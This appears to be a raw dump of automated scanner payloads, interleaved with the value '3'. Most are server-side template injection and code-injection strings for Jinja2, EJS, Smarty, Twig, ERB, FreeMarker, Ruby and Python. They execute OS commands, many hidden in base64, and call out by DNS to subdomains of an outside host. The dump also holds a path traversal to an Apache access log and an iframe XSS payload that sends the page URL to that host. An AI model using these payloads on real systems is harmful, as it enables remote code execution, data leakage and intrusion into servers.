3

3

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYUY5amMzcGpibVYwZUdwNmMyNXNZWFZxZEdoeFkyZG9jWEp3YVhkc1gzRmZZMmh0ZHpjdGVqaDNjUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

/../../../../../../../../../../var/log/apache/access.log

3

3

3

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eGowY3M2c20wdmhuZTJpaTFkaWZycjJ4d2dmdXRidXI0NC5yODcubWU=','base64').toString())

3

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eHQzZ3Rncjg1NWhiOGQ3bmx1Y3JncXYyYWt4emMycnlqeS5yODcubWU=','base64').toString())

3

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eDVtZGM5YXJ2b2lwZ3Q2Y3d5bHd2ZHpiLWxzdHB5eDljZS5yODcubWU=','base64').toString()) %>

3

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eHN6cWJwN3N1eHhqZTZrZHNmX2IyZzBybTdtY2poY3N0MC5yODcubWU=','base64').toString()) %>

3

3

{php}Smarty_Resource::parseResourceName(system("nslookup h_cszcnetxdqksuwakoqlu0mc3gyz1qrtxwid3dq"."vmw.r87.me"),'b');{/php}

3

3

{php}Smarty_Resource::parseResourceName(system("nslookup h_cszcnetxjmhfzut2gl1eprz5cyhcwczoeytf-m"."6tk.r87.me"),'b');{/php}

3

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup h_cszcnetxguvp6jmu-pglvwpdkzslbevcze67cj"~"at0.r87.me")}}

3

3

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup h_cszcnetxnyi4v1cdjsm5eumiqnw0s451eujqad"~"6pi.r87.me")}}

3

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgaF9jc3pjbmV0eG1mZmVhd3VxYXVyd3NzZmN2Y3NqaF9nd3RmNnh4ZWQ2Yy5yODcubWU=')})).to_s}" %>

3

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgaF9jc3pjbmV0eGRrMW1zbnl2eGdheGN5Zm11dmFpeWt4M3A3c3h3b3A3cS5yODcubWU=')})).to_s}" %>

3

3

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgaF9jc3pjbmV0eG5oX3VnbXowZnJ1ZXExM2ZwbXNvcW14bHJ1MXRjYTFnbS5yODcubWU=|{base64,--decode})}") }

3

3

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup h_cszcnetxxq60m2bgqnre3onbxn2zmvxxvrqac1"+"oi0.r87.me") }

3

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup h_cszcnetxspkgqlfah0hcpr-zbczgxkhrza585z"+"xm0.r87.me") }

3

3

require 'resolv';Resolv.getaddress ("h_cszcnetxaqdfltavngtlr0mlk8kiyvtkp7yvm8".concat "xu0.r87.me")

3

<fRame src=N onload="this.onload='';this.src='//h_cszcnetxwbdcbjevafmzstcue59atp9pzodmtz'+'ogy.r87.me/r/?'+location.href">

3

3

require 'resolv';Resolv.getaddress ("h_cszcnetxt3_l_aiivvzv9_x-jr_h5d1gzrmcfb".concat "_pm.r87.me")

3

3

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgaF9jc3pjbmV0eC1xcTBpcjl0NDIzdzd6ZWlrd2VkdGd2d2duZWtiZ3g2cS5yODcubWU=')).read()

3

3